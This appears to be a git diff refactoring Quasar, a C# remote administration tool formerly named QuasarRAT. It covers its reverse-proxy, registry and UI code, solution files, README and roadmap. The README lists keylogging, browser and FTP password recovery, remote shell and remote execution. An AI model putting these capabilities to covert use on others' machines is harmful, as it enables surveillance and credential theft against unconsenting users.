FrmRegValueEditWord.cs + + + FrmRemoteDesktop.cs + Designer + + + FrmRemoteShell.cs + + + FrmReverseProxy.cs + + + FrmSettings.cs + + + FrmShowMessagebox.cs + + + FrmStartupManager.cs + + + FrmSystemInformation.cs + + + FrmTaskManager.cs + + + FrmVisitWebsite.cs + + + FrmRemoteExecution.cs + + + ResXFileCodeGenerator + Designer + Resources.Designer.cs + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + + + + 0.11.4 + + + 5.6.0 + + + + + 2.4.8 + + + 2.1.0 + + + + \ No newline at end of file diff --git a/Quasar.Server/Registry/RegValueHelper.cs b/Quasar.Server/Registry/RegValueHelper.cs new file mode 100644 index 000000000..71110d95f --- /dev/null +++ b/Quasar.Server/Registry/RegValueHelper.cs @@ -0,0 +1,44 @@ +using Microsoft.Win32; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using System; + +namespace Quasar.Server.Registry +{ + public class RegValueHelper + { + private static string DEFAULT_REG_VALUE = "(Default)"; + + public static bool IsDefaultValue(string valueName) + { + return String.IsNullOrEmpty(valueName); + } + + public static string GetName(string valueName) + { + return IsDefaultValue(valueName) ? DEFAULT_REG_VALUE : valueName; + } + + public static string RegistryValueToString(RegValueData value) + { + switch (value.Kind) + { + case RegistryValueKind.Binary: + return value.Data.Length > 0 ? BitConverter.ToString(value.Data).Replace("-", " ").ToLower() : "(zero-length binary value)"; + case RegistryValueKind.MultiString: + return string.Join(" ", ByteConverter.ToStringArray(value.Data)); + case RegistryValueKind.DWord: + var dword = ByteConverter.ToUInt32(value.Data); + return $"0x{dword:x8} ({dword})"; // show hexadecimal and decimal + case RegistryValueKind.QWord: + var qword = ByteConverter.ToUInt64(value.Data); + return $"0x{qword:x8} ({qword})"; // show hexadecimal and decimal + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return ByteConverter.ToString(value.Data); + default: + return string.Empty; + } + } + } +} diff --git a/Server/Core/ReverseProxy/ReverseProxyClient.cs b/Quasar.Server/ReverseProxy/ReverseProxyClient.cs similarity index 93% rename from Server/Core/ReverseProxy/ReverseProxyClient.cs rename to Quasar.Server/ReverseProxy/ReverseProxyClient.cs index c737a4ad8..eada088db 100644 --- a/Server/Core/ReverseProxy/ReverseProxyClient.cs +++ b/Quasar.Server/ReverseProxy/ReverseProxyClient.cs @@ -1,12 +1,12 @@ -using System; +using Quasar.Common.Messages.ReverseProxy; +using Quasar.Server.Networking; +using System; using System.Collections.Generic; using System.IO; using System.Net.Sockets; using System.Text; -using xServer.Core.Networking; -using xServer.Core.ReverseProxy.Packets; -namespace xServer.Core.ReverseProxy +namespace Quasar.Server.ReverseProxy { public class ReverseProxyClient { @@ -169,14 +169,19 @@ private void AsyncReceive(IAsyncResult ar) string ipPort = split[1]; this.TargetServer = ipPort.Split(':')[0]; this.TargetPort = ushort.Parse(ipPort.Split(':')[1]); - + this._isConnectCommand = true; this._isDomainNameType = true; - + //Send Command to client and wait for response from CommandHandler - new ReverseProxyConnect(ConnectionId, this.TargetServer, this.TargetPort).Execute(Client); + Client.Send(new ReverseProxyConnect + { + ConnectionId = ConnectionId, + Target = TargetServer, + Port = TargetPort + }); Server.CallonConnectionEstablished(this); - + return; //Quit receiving and wait for client's response } catch @@ -239,7 +244,12 @@ private void AsyncReceive(IAsyncResult ar) if (this.TargetServer.Length > 0) { //Send Command to client and wait for response from CommandHandler - new ReverseProxyConnect(ConnectionId, this.TargetServer, this.TargetPort).Execute(Client); + Client.Send(new ReverseProxyConnect + { + ConnectionId = ConnectionId, + Target = TargetServer, + Port = TargetPort + }); } } else @@ -273,7 +283,7 @@ public void Disconnect() { _disconnectIsSend = true; //send to the Server we've been disconnected - new ReverseProxyDisconnect(this.ConnectionId).Execute(Client); + Client.Send(new ReverseProxyDisconnect {ConnectionId = ConnectionId}); } try @@ -367,7 +377,7 @@ public void HandleCommandResponse(ReverseProxyConnectResponse response) responsePacket.Add(SOCKS5_CMD_REPLY_SUCCEEDED); responsePacket.Add(SOCKS5_RESERVED); responsePacket.Add(1); - responsePacket.AddRange(response.LocalAddress.GetAddressBytes()); + responsePacket.AddRange(response.LocalAddress); responsePacket.Add((byte)(Math.Floor((decimal)response.LocalPort / 256))); responsePacket.Add((byte)(response.LocalPort % 256)); @@ -444,7 +454,7 @@ private void AsyncReceiveProxy(IAsyncResult ar) byte[] payload = new byte[received]; Array.Copy(_buffer, payload, received); - new ReverseProxyData(this.ConnectionId, payload).Execute(Client); + Client.Send(new ReverseProxyData {ConnectionId = ConnectionId, Data = payload}); LengthSent += payload.Length; PacketsSended++; diff --git a/Server/Core/ReverseProxy/ReverseProxyServer.cs b/Quasar.Server/ReverseProxy/ReverseProxyServer.cs similarity index 96% rename from Server/Core/ReverseProxy/ReverseProxyServer.cs rename to Quasar.Server/ReverseProxy/ReverseProxyServer.cs index 761509f34..b784e759e 100644 --- a/Server/Core/ReverseProxy/ReverseProxyServer.cs +++ b/Quasar.Server/ReverseProxy/ReverseProxyServer.cs @@ -3,9 +3,9 @@ using System.Linq; using System.Net; using System.Net.Sockets; -using xServer.Core.Networking; +using Quasar.Server.Networking; -namespace xServer.Core.ReverseProxy +namespace Quasar.Server.ReverseProxy { public class ReverseProxyServer { @@ -67,10 +67,6 @@ public void StartServer(Client[] clients, string ipAddress, ushort port) Stop(); this.Clients = clients; - - for (int i = 0; i < clients.Length; i++) - this.Clients[i].Value.ProxyServer = this; - this._socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); this._socket.Bind(new IPEndPoint(IPAddress.Parse(ipAddress), port)); this._socket.Listen(100); diff --git a/Server/Core/Utilities/FrameCounter.cs b/Quasar.Server/Utilities/FrameCounter.cs similarity index 98% rename from Server/Core/Utilities/FrameCounter.cs rename to Quasar.Server/Utilities/FrameCounter.cs index 57295f093..895d33811 100644 --- a/Server/Core/Utilities/FrameCounter.cs +++ b/Quasar.Server/Utilities/FrameCounter.cs @@ -2,7 +2,7 @@ using System.Collections.Generic; using System.Linq; -namespace xServer.Core.Utilities +namespace Quasar.Server.Utilities { public class FrameUpdatedEventArgs : EventArgs { diff --git a/Server/Core/Utilities/ListViewColumnSorter.cs b/Quasar.Server/Utilities/ListViewColumnSorter.cs similarity index 63% rename from Server/Core/Utilities/ListViewColumnSorter.cs rename to Quasar.Server/Utilities/ListViewColumnSorter.cs index 3cc8ba31e..908ebe27b 100644 --- a/Server/Core/Utilities/ListViewColumnSorter.cs +++ b/Quasar.Server/Utilities/ListViewColumnSorter.cs @@ -1,7 +1,8 @@ -using System.Collections; +using Quasar.Server.Models; +using System.Collections; using System.Windows.Forms; -namespace xServer.Core.Utilities +namespace Quasar.Server.Utilities { public class ListViewColumnSorter : IComparer { @@ -20,6 +21,11 @@ public class ListViewColumnSorter : IComparer /// private readonly CaseInsensitiveComparer _objectCompare; + /// + /// Specifies if number or text comparision is needed + /// + private bool _needNumberCompare; + /// /// Class constructor. Initializes various elements /// @@ -33,6 +39,8 @@ public ListViewColumnSorter() // Initialize the CaseInsensitiveComparer object _objectCompare = new CaseInsensitiveComparer(); + + _needNumberCompare = false; } /// @@ -51,8 +59,39 @@ public int Compare(object x, object y) return 0; // Compare the two items - var compareResult = _objectCompare.Compare(listviewX.SubItems[_columnToSort].Text, - listviewY.SubItems[_columnToSort].Text); + int compareResult; + + if (_needNumberCompare) + { + long a, b; + + if (listviewX.Tag is FileManagerListTag) + { + // fileSize to be compared + a = (listviewX.Tag as FileManagerListTag).FileSize; + b = (listviewY.Tag as FileManagerListTag).FileSize; + compareResult = a >= b ? (a == b ? 0 : 1) : -1; + + } + else + { + if (long.TryParse(listviewX.SubItems[_columnToSort].Text, out a) + && long.TryParse(listviewY.SubItems[_columnToSort].Text, out b)) + { + compareResult = a >= b ? (a == b ? 0 : 1) : -1; + } + else + { + compareResult = _objectCompare.Compare(listviewX.SubItems[_columnToSort].Text, + listviewY.SubItems[_columnToSort].Text); + } + } + } + else + { + compareResult = _objectCompare.Compare(listviewX.SubItems[_columnToSort].Text, + listviewY.SubItems[_columnToSort].Text); + } // Calculate correct return value based on object comparison if (_orderOfSort == SortOrder.Ascending) @@ -89,5 +128,14 @@ public SortOrder Order set { _orderOfSort = value; } get { return _orderOfSort; } } + + /// + /// Specifies if number or text comparision is needed. + /// + public bool NeedNumberCompare + { + set { _needNumberCompare = value; } + get { return _needNumberCompare; } + } } } \ No newline at end of file diff --git a/Quasar.Server/Utilities/NativeMethods.cs b/Quasar.Server/Utilities/NativeMethods.cs new file mode 100644 index 000000000..b0e8e7c66 --- /dev/null +++ b/Quasar.Server/Utilities/NativeMethods.cs @@ -0,0 +1,47 @@ +using System; +using System.Runtime.InteropServices; + +namespace Quasar.Server.Utilities +{ + /// + /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). + /// + public static class NativeMethods + { + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + internal struct LVITEM + { + public uint mask; + public int iItem; + public int iSubItem; + public int state; + public int stateMask; + [MarshalAs(UnmanagedType.LPTStr)] + public string pszText; + public int cchTextMax; + public int iImage; + public IntPtr lParam; + public int iIndent; + public int iGroupId; + public uint cColumns; + public IntPtr puColumns; + public IntPtr piColFmt; + public int iGroup; + }; + + [DllImport("user32.dll", CharSet = CharSet.Auto)] + internal static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "SendMessage")] + internal static extern IntPtr SendMessageListViewItem(IntPtr hWnd, uint msg, IntPtr wParam, ref LVITEM lParam); + + [DllImport("user32.dll")] + internal static extern bool RegisterHotKey(IntPtr hWnd, int id, uint fsModifiers, int vk); + + [DllImport("user32.dll")] + internal static extern bool UnregisterHotKey(IntPtr hWnd, int id); + + [DllImport("uxtheme.dll", CharSet = CharSet.Unicode)] + internal static extern int SetWindowTheme(IntPtr hWnd, string pszSubAppName, string pszSubIdList); + } +} diff --git a/Server/Core/Utilities/NoIpUpdater.cs b/Quasar.Server/Utilities/NoIpUpdater.cs similarity index 88% rename from Server/Core/Utilities/NoIpUpdater.cs rename to Quasar.Server/Utilities/NoIpUpdater.cs index 8b68f550e..a388eb9af 100644 --- a/Server/Core/Utilities/NoIpUpdater.cs +++ b/Quasar.Server/Utilities/NoIpUpdater.cs @@ -1,10 +1,10 @@ -using System; +using Quasar.Server.Models; +using System; using System.Net; using System.Text; using System.Threading; -using xServer.Core.Data; -namespace xServer.Core.Utilities +namespace Quasar.Server.Utilities { public static class NoIpUpdater { @@ -24,7 +24,7 @@ private static void BackgroundUpdater() { try { - HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(string.Format("http://dynupdate.no-ip.com/nic/update?hostname={0}", Settings.NoIPHost)); + HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(string.Format("https://dynupdate.no-ip.com/nic/update?hostname={0}", Settings.NoIPHost)); request.Proxy = null; request.UserAgent = string.Format("Quasar No-Ip Updater/2.0 {0}", Settings.NoIPUsername); request.Timeout = 10000; diff --git a/Server/app.manifest b/Quasar.Server/app.manifest similarity index 50% rename from Server/app.manifest rename to Quasar.Server/app.manifest index cebc371f6..bf4e01a4d 100644 --- a/Server/app.manifest +++ b/Quasar.Server/app.manifest @@ -1,19 +1,15 @@  - + - + - - - - @@ -26,4 +22,23 @@ - + + + true/pm + PerMonitorV2, PerMonitor + true + + + + + + + + \ No newline at end of file diff --git a/Quasar.sln b/Quasar.sln new file mode 100644 index 000000000..ec2deab9b --- /dev/null +++ b/Quasar.sln @@ -0,0 +1,43 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30104.148 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Server", "Quasar.Server\Quasar.Server.csproj", "{14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Client", "Quasar.Client\Quasar.Client.csproj", "{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Common", "Quasar.Common\Quasar.Common.csproj", "{C7C363BA-E5B6-4E18-9224-39BC8DA73172}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Common.Tests", "Quasar.Common.Tests\Quasar.Common.Tests.csproj", "{32A2A734-7429-47E6-A362-E344A19C0D85}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|AnyCPU = Debug|AnyCPU + Release|AnyCPU = Release|AnyCPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|AnyCPU.Build.0 = Release|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|AnyCPU.Build.0 = Release|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|AnyCPU.Build.0 = Release|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Release|AnyCPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {83BA842F-789A-4E7C-827D-AE8A710862A1} + EndGlobalSection +EndGlobal diff --git a/QuasarRAT.sln b/QuasarRAT.sln deleted file mode 100644 index 05bca409b..000000000 --- a/QuasarRAT.sln +++ /dev/null @@ -1,40 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio 2013 -VisualStudioVersion = 12.0.40629.0 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server\Server.csproj", "{14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Client", "Client\Client.csproj", "{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Client.Tests", "Client.Tests\Client.Tests.csproj", "{7223F9B2-17A2-432B-ADAC-51B1E35681DB}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server.Tests", "Server.Tests\Server.Tests.csproj", "{BF45108E-1E43-486B-A71D-5426BBB041DB}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Mixed Platforms = Debug|Mixed Platforms - Release|Mixed Platforms = Release|Mixed Platforms - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU - {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU - {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU - {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|Mixed Platforms.Build.0 = Release|Any CPU - {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 - {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|Mixed Platforms.Build.0 = Debug|x86 - {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|Mixed Platforms.ActiveCfg = Release|x86 - {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|Mixed Platforms.Build.0 = Release|x86 - {7223F9B2-17A2-432B-ADAC-51B1E35681DB}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 - {7223F9B2-17A2-432B-ADAC-51B1E35681DB}.Debug|Mixed Platforms.Build.0 = Debug|x86 - {7223F9B2-17A2-432B-ADAC-51B1E35681DB}.Release|Mixed Platforms.ActiveCfg = Release|x86 - {7223F9B2-17A2-432B-ADAC-51B1E35681DB}.Release|Mixed Platforms.Build.0 = Release|x86 - {BF45108E-1E43-486B-A71D-5426BBB041DB}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU - {BF45108E-1E43-486B-A71D-5426BBB041DB}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU - {BF45108E-1E43-486B-A71D-5426BBB041DB}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU - {BF45108E-1E43-486B-A71D-5426BBB041DB}.Release|Mixed Platforms.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/README.md b/README.md index f7d681ebf..220663240 100644 --- a/README.md +++ b/README.md @@ -1,102 +1,81 @@ -QuasarRAT -========= -[![Build status](https://ci.appveyor.com/api/projects/status/5857hfy6r1ltb5f2?svg=true)](https://ci.appveyor.com/project/MaxXor/quasarrat) [![Join the chat at https://gitter.im/quasar/QuasarRAT](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/quasar/QuasarRAT) +# Quasar + +[![Build status](https://ci.appveyor.com/api/projects/status/5857hfy6r1ltb5f2?svg=true)](https://ci.appveyor.com/project/MaxXor/quasar) +[![Downloads](https://img.shields.io/github/downloads/quasar/Quasar/total.svg)](https://github.com/quasar/Quasar/releases) +[![License](https://img.shields.io/github/license/quasar/Quasar.svg)](LICENSE) **Free, Open-Source Remote Administration Tool for Windows** -Quasar is a fast and light-weight remote administration tool coded in C#. Providing high stability and an easy-to-use user interface, Quasar is the perfect remote administration solution for you. - -Features ---- -* Buffered TCP/IP network stream -* Fast network serialization (NetSerializer) -* Compressed (QuickLZ) & Encrypted (AES-128) communication -* Multi-Threaded -* UPnP Support -* No-Ip.com Support -* Visit Website (hidden & visible) -* Show Messagebox +Quasar is a fast and light-weight remote administration tool coded in C#. The usage ranges from user support through day-to-day administrative work to employee monitoring. Providing high stability and an easy-to-use user interface, Quasar is the perfect remote administration solution for you. + +Please check out the [Getting Started](https://github.com/quasar/Quasar/wiki/Getting-Started) guide. + +## Screenshots + +![remote-shell](Images/remote-shell.png) + +![remote-desktop](Images/remote-desktop.png) + +![remote-files](Images/remote-files.png) + +## Features +* TCP network stream (IPv4 & IPv6 support) +* Fast network serialization (Protocol Buffers) +* Encrypted communication (TLS) +* UPnP Support (automatic port forwarding) * Task Manager * File Manager * Startup Manager * Remote Desktop * Remote Shell -* Download & Execute -* Upload & Execute +* Remote Execution * System Information -* Computer Commands (Restart, Shutdown, Standby) +* Registry Editor +* System Power Commands (Restart, Shutdown, Standby) * Keylogger (Unicode Support) * Reverse Proxy (SOCKS5) * Password Recovery (Common Browsers and FTP Clients) -* Registry Editor +* ... and many more! -Requirements ---- -* .NET Framework 4.0 Client Profile ([Download](https://www.microsoft.com/en-us/download/details.aspx?id=24872)) -* Supported Operating Systems (32- and 64-bit) - * Windows XP SP3 - * Windows Server 2003 - * Windows Vista - * Windows Server 2008 - * Windows 7 - * Windows Server 2012 - * Windows 8/8.1 +## Download +* [Latest stable release](https://github.com/quasar/Quasar/releases) (recommended) +* [Latest development snapshot](https://ci.appveyor.com/project/MaxXor/quasar) + +## Supported runtimes and operating systems +* .NET Framework 4.5.2 or higher +* Supported operating systems (32- and 64-bit) + * Windows 11 + * Windows Server 2022 * Windows 10 + * Windows Server 2019 + * Windows Server 2016 + * Windows 8/8.1 + * Windows Server 2012 + * Windows 7 + * Windows Server 2008 R2 +* For older systems please use [Quasar version 1.3.0](https://github.com/quasar/Quasar/releases/tag/v1.3.0.0) + +## Compiling +Open the project `Quasar.sln` in Visual Studio 2019+ with installed .NET desktop development features and [restore the NuGET packages](https://docs.microsoft.com/en-us/nuget/consume-packages/package-restore). Once all packages are installed the project can be compiled as usual by clicking `Build` at the top or by pressing `F6`. The resulting executables can be found in the `Bin` directory. See below which build configuration to choose from. + +## Building a client +| Build configuration | Usage scenario | Description +| ----------------------------|----------------|-------------- +| Debug configuration | Testing | The pre-defined [Settings.cs](/Quasar.Client/Config/Settings.cs) will be used, so edit this file before compiling the client. You can execute the client directly with the specified settings. +| Release configuration | Production | Start `Quasar.exe` and use the client builder. + +## Contributing +See [CONTRIBUTING.md](CONTRIBUTING.md) + +## Roadmap +See [ROADMAP.md](ROADMAP.md) + +## Documentation +See the [wiki](https://github.com/quasar/Quasar/wiki) for usage instructions and other documentation. + +## License +Quasar is distributed under the [MIT License](LICENSE). +Third-party licenses are located [here](Licenses). -Compiling ---- -Open the project in Visual Studio and click build, or use one of the batch files included in the root directory. - -| Batch file | Description -| ----------------- |:------------- -| build-debug.bat | Builds the application using the debug configuration (for testing) -| build-release.bat | Builds the application using the release configuration (for publishing) - -Building a client ---- -| Build configuration | Description -| ----------------------------|:------------- -| debug configuration | The pre-defined [Settings.cs](/Client/Config/Settings.cs) will be used. The client builder does not work in this configuration. You can execute the client directly with the specified settings. -| release configuration | Use the client builder to build your client otherwise it is going to crash. - -ToDo ---- -* [Open Issues](https://github.com/quasar/QuasarRAT/issues) - -Contributing ---- -See [CONTRIBUTING.md](/CONTRIBUTING.md) - -License ---- -See [LICENSE.md](/LICENSE.md) - -Donate ---- -BTC: `1EWgMfBw1fUSWMfat9oY8t8qRjCRiMEbET` - -Credits ---- -NetSerializer -Copyright (c) 2015 Tomi Valkeinen -https://github.com/tomba/netserializer - -ResourceLib -Copyright (c) 2008-2013 Daniel Doubrovkine, Vestris Inc. -https://github.com/dblock/resourcelib - -GlobalMouseKeyHook -Copyright (c) 2004-2015 George Mamaladze -https://github.com/gmamaladze/globalmousekeyhook - -Mono.Cecil -Copyright (c) 2008 - 2015 Jb Evain, Copyright (c) 2008 - 2011 Novell, Inc. -https://github.com/jbevain/cecil - -Mono.Nat -Copyright (c) 2006 Alan McGovern, Copyright (c) 2007 Ben Motmans -https://github.com/nterry/Mono.Nat - -Thank you! ---- +## Thank you! I really appreciate all kinds of feedback and contributions. Thanks for using and supporting Quasar! diff --git a/ROADMAP.md b/ROADMAP.md new file mode 100644 index 000000000..edeec6278 --- /dev/null +++ b/ROADMAP.md @@ -0,0 +1,25 @@ +# Quasar Roadmap + +## Web API +A web API (e.g. REST-like) allows to interact with the clients in more flexible ways and can be used to build a web interface for Quasar. + +## Transparent communication protocol +To open up the way for Quasar clients in different programming languages the communication protocol needs to be clearly specified and documented. + +## Cross-platform support +A long-term goal is to support operating systems such as MacOS and Linux. The new .NET Core framework will help achieve this goal. + +## Command line (CLI) version of the server +It should be possible to use the server as a simple CLI tool to accept and forward (proxy) connections to other servers. + +## GUI overhaul +The GUI needs to be reworked in a more modern way, such as WPF or a web-based interface. WPF as GUI framework would drastically improve rendering performance of the remote desktop with the hardware accelerated rendering, similar to a web-based GUI depending on the used browser. + +## Allow different types of clients (permissioned clients) +Allow clients with higher privileges (i.e. ability to administrate other lower privileged clients) connect to the server. This change would allow administrators to manage clients from their own computers with a lightweight client without having to run the server. + +## Allow client installation as Windows service +Currently the client is installed on a per-user basis and this makes it unflexible to remotly manage the machine when the user is not logged in. it also requires the client to be installed for every account who uses the machine. Machines which are used by multiple users would greatly benefit when Quasar could be run as a Windows service. + +## Basic client GUI +Add a basic GUI to the client to allow the user at any time to check the status if a specific feature is active. Additionally it can show a notification when the client gets installed or when someone requests permission to use remote desktop (similar to teamviewer). diff --git a/Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs b/Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs deleted file mode 100644 index 512e57a29..000000000 --- a/Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs +++ /dev/null @@ -1,118 +0,0 @@ -using System; -using Microsoft.VisualStudio.TestTools.UnitTesting; -using xServer.Core.Compression; - -namespace xServer.Tests.Core.Compression -{ - [TestClass] - public class SafeQuickLZTests - { - /* - * Purpose: To validate a small amount of data after compression/decompression - * using SafeQuickLZ with level 1 compression. - */ - [TestMethod, TestCategory("Compression")] - public void SmallDataCompressionTestLevel1() - { - byte[] smallData = new byte[100]; - - // Fill the small data array with random data. - new Random().NextBytes(smallData); - - // Store the compressed data. - byte[] smallDataCompressed = SafeQuickLZ.Compress(smallData, 1); - - // The original should not equal the compressed data. - Assert.AreNotEqual(smallData, smallDataCompressed, "Original data is equal to the compressed data!"); - - // Store the decompressed data. - byte[] smallDataDecompressed = SafeQuickLZ.Decompress(smallDataCompressed); - - // The compressed data should not equal the decompressed data. - Assert.AreNotEqual(smallDataCompressed, smallDataDecompressed, "Compressed data is equal to the decompressed data!"); - // The original data must equal the decompressed data; must be able to make a round-trip. - CollectionAssert.AreEqual(smallData, smallDataDecompressed, "Original data does not match the decompressed data!"); - } - - /* - * Purpose: To validate a small amount of data after compression/decompression - * using SafeQuickLZ with level 3 compression. - */ - [TestMethod, TestCategory("Compression")] - public void SmallDataCompressionTestLevel3() - { - byte[] smallData = new byte[100]; - - // Fill the small data array with random data. - new Random().NextBytes(smallData); - - // Store the compressed data. - byte[] smallDataCompressed = SafeQuickLZ.Compress(smallData, 3); - - // The original should not equal the compressed data. - Assert.AreNotEqual(smallData, smallDataCompressed, "Original data is equal to the compressed data!"); - - // Store the decompressed data. - byte[] smallDataDecompressed = SafeQuickLZ.Decompress(smallDataCompressed); - - // The compressed data should not equal the decompressed data. - Assert.AreNotEqual(smallDataCompressed, smallDataDecompressed, "Compressed data is equal to the decompressed data!"); - // The original data must equal the decompressed data; must be able to make a round-trip. - CollectionAssert.AreEqual(smallData, smallDataDecompressed, "Original data does not match the decompressed data!"); - } - - /* - * Purpose: To validate a large amount of data after compression/decompression - * using SafeQuickLZ with level 1 compression. - */ - [TestMethod, TestCategory("Compression")] - public void BigDataCompressionTestLevel1() - { - byte[] bigData = new byte[100000]; - - // Fill the big data array with random data. - new Random().NextBytes(bigData); - - // Store the compressed data. - byte[] bigDataCompressed = SafeQuickLZ.Compress(bigData, 1); - - // The original should not equal the compressed data. - Assert.AreNotEqual(bigData, bigDataCompressed, "Original data is equal to the compressed data!"); - - // Store the decompressed data. - byte[] bigDataDecompressed = SafeQuickLZ.Decompress(bigDataCompressed); - - // The compressed data should not equal the decompressed data. - Assert.AreNotEqual(bigDataCompressed, bigDataDecompressed, "Compressed data is equal to the decompressed data!"); - // The original data must equal the decompressed data; must be able to make a round-trip. - CollectionAssert.AreEqual(bigData, bigDataDecompressed, "Original data does not match the decompressed data!"); - } - - /* - * Purpose: To validate a large amount of data after compression/decompression - * using SafeQuickLZ with level 3 compression. - */ - [TestMethod, TestCategory("Compression")] - public void BigDataCompressionTestLevel3() - { - byte[] bigData = new byte[100000]; - - // Fill the big data array with random data. - new Random().NextBytes(bigData); - - // Store the compressed data. - byte[] bigDataCompressed = SafeQuickLZ.Compress(bigData, 3); - - // The original should not equal the compressed data. - Assert.AreNotEqual(bigData, bigDataCompressed, "Original data is equal to the compressed data!"); - - // Store the decompressed data. - byte[] bigDataDecompressed = SafeQuickLZ.Decompress(bigDataCompressed); - - // The compressed data should not equal the decompressed data. - Assert.AreNotEqual(bigDataCompressed, bigDataDecompressed, "Compressed data is equal to the decompressed data!"); - // The original data must equal the decompressed data; must be able to make a round-trip. - CollectionAssert.AreEqual(bigData, bigDataDecompressed, "Original data does not match the decompressed data!"); - } - } -} \ No newline at end of file diff --git a/Server.Tests/Core/Encryption/AES.Tests.cs b/Server.Tests/Core/Encryption/AES.Tests.cs deleted file mode 100644 index 57619467f..000000000 --- a/Server.Tests/Core/Encryption/AES.Tests.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System.Text; -using Microsoft.VisualStudio.TestTools.UnitTesting; -using xServer.Core.Cryptography; -using xServer.Core.Helper; - -namespace xServer.Tests.Core.Encryption -{ - [TestClass] - public class AESTests - { - [TestMethod, TestCategory("Encryption")] - public void EncryptAndDecryptStringTest() - { - var input = FileHelper.GetRandomFilename(100); - var password = FileHelper.GetRandomFilename(50); - - AES.SetDefaultKey(password); - - var encrypted = AES.Encrypt(input); - - Assert.IsNotNull(encrypted); - Assert.AreNotEqual(encrypted, input); - - var decrypted = AES.Decrypt(encrypted); - - Assert.AreEqual(input, 